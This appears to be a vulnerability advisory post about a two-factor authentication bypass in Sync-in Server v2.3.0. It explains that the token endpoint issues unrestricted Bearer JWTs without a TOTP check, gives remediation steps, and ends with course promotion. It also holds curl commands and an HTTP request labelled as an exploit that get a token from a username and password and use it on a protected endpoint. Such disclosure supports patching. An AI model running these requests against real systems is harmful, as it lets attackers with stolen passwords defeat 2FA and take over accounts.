Listen to this Post
Sync-in Server v2.3.0 exposes POST /api/auth/token at auth.controller.ts:50-55.
The endpoint uses AuthLocalGuard, which validates only username and password.
After guard success, it calls this.authManager.getTokens(user).
getTokens() at auth.service.ts:25-39 signs access and refresh JWTs.
It returns unrestricted Bearer tokens.
It never checks user.twoFaEnabled.
It never checks server-side TOTP configuration.
The parallel login endpoint POST /api/auth/login at auth.controller.ts:30-35 is different.
It calls setCookies(user, res, true).
Inside setCookies() at auth.service.ts:45, the 2FA gate is evaluated.
The gate is init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled.
When verify2Fa is true, setCookies() issues only ACCESS_2FA.
The user must complete POST /api/auth/2fa/login/verify.
Only then full session cookies are issued.
The token endpoint has no equivalent 2FA gate.
An attacker needs a valid username and password for a 2FA-enabled account.
The attacker does not need the TOTP secret.
The attacker does not need the current TOTP code.
The attacker sends credentials to POST /api/auth/token.
The response contains access and refresh JWTs.
The access token is a Bearer token.
The refresh token is also unrestricted.
The attacker can use the Bearer token on protected endpoints.
Example: GET /api/users/me with Authorization: Bearer …
The server returns the target user profile.
This bypasses 2FA for Bearer-token API authentication.
Cookie-specific flows may differ.
The login route correctly returns a restricted 2FA-pending response.
The token route returns unrestricted Bearer JWTs.
Remediation is to gate the token endpoint behind same 2FA policy.
After AuthLocalGuard, require valid TOTP when server-side TOTP enabled and user.twoFaEnabled true.
Then call getTokens().
DailyCVE Form:
Platform: Sync-in Server
Version: v2.3.0
Vulnerability: 2FA bypass
Severity: Not stated
date: Not provided
Prediction: Unknown
What Undercode Say:
Analytics:
curl -s -X POST http://target/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"login":"test","password":"..."}' | jq
curl -s -X POST http://target/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"login":"test","password":"..."}' | jq
TOKEN=$(curl -s -X POST http://target/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"login":"test","password":"..."}' | jq -r .access)
curl -s http://target/api/users/me \
-H "Authorization: Bearer $TOKEN" | jq
grep -n "TOKEN" auth.controller.ts
grep -n "getTokens" auth.service.ts
grep -n "verify2Fa" auth.service.ts
Exploit: (Educational Purposes!)
POST /api/auth/token
Content-Type: application/json
{"login":"test","password":"..."}
{
"access": "eyJhbGciOiJIUzI1NiIs...",
"refresh": "eyJhbGciOiJIUzI1NiIs...",
"access_expiration": 1781235890,
"refresh_expiration": 1781248490
}
GET /api/users/me Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Protection: from this CVE
Gate token endpoint with same 2FA policy. Require TOTP when server-side TOTP enabled. Require TOTP when user.twoFaEnabled true. Do not call getTokens() before TOTP verification. Use setCookies(user, res, true) logic. Return restricted ACCESS_2FA only.
Impact:
An attacker with valid credentials for a 2FA-enabled account obtains unrestricted Bearer access and refresh JWTs in one request. No TOTP secret or authenticator device needed. 2FA is bypassed for Bearer-token API authentication.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
